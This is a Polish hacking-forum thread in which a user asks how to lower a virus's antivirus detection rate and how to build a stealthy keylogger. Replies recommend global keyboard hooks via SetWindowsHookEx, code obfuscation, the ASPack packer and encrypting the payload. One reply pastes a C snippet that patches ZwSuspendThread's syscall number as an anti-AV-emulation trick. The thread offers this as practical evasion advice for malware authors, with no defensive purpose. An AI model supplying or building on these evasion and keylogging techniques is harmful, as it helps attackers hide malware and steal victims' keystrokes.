Zmniejszenie wykrywalności

[dodoxx6]

Mam takie pytanie, jakie są sposoby na zmniejszenie wykrywalności wirusa?
Oraz jaki sposób "przechwytywania" znaków jest najlepszy(keylogery) - wydajny i zarazem mało wykrywalny.
Jeśli ktoś zna ciekawe linki to prosił bym o podanie.

 

[D.F.]

Oraz jaki sposób "przechwytywania" znaków jest najlepszy(keylogery) - wydajny i zarazem mało wykrywalny.

Przeważnie robi się to poprzez założenie hook'a na klawiaturę (funkcja SetWindowsHookEx).

 

[0wn3r]

Ogółem mówiąc, żeby założyć globalnego hook'a na klawiature trzeba posiadać troche pojęcia o WinApi - http://winapi.org/ - wystarczy poczytać. A apropo zmniejszenia wykrywalności - unikać oczywistych rzeczy, starać się zaskakiwać antywirusy. Czasem lepiej sie pomęczyć i zagmatwać kod tak żeby zmylić program chroniący, lub po prostu uzyć jakiegoś packera. ASpack jest dobry moim zdaniem.

Pozdrawiam.

// pierwszy post od paru lat...

 

[grzonu]

Ja osobiście preferuje metode szyfrowania całego kodu(wtedy antywirus nie wie co sie dzieje do momentu uruchomienia programu) z wyjatkiem samej funkcji szyfrujacej. ASpack jest skuteczny ale jest tez rozpoznawalny przez AV i potrafia pokazac ze jest pakowane ASpackiem co juz nie jest wykrywalnoscia zerową.
Mozna też uzyc paru metod anti-emulation AV. Moja własna metoda dzialajaca swego czasu na Kasperskiego,Eseta i pare innych AV(niestety teraz wykrywalna)
Link do orginalnego tematu: http://www.hackhound.org/forum/index.php?/topic/36392-anti-av-emulationa-squared-and-more
skopiuje tutaj najwazniejsza część posta bo wiele osob nie ma konta na tym forum.

FARPROC a1=GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwResumeThread");
FARPROC a2=GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwSuspendThread");
DWORD sys_res,sys_sus;
memcpy(&sys_res,(char*)((char*)a1+1),4);//Get Syscall Number
memcpy(&sys_sus,(char*)((char*)a2+1),4);//this same
DWORD old;
VirtualProtect(a2,5,PAGE_EXECUTE_READWRITE,&old);//Set ZwSuspendThread to writable
memcpy(((char*)a2+1),&sys_res,4);//change number
SuspendThread(GetCurrentThread());
memcpy(((char*)a2+1),&sys_sus,4); // set old syscall number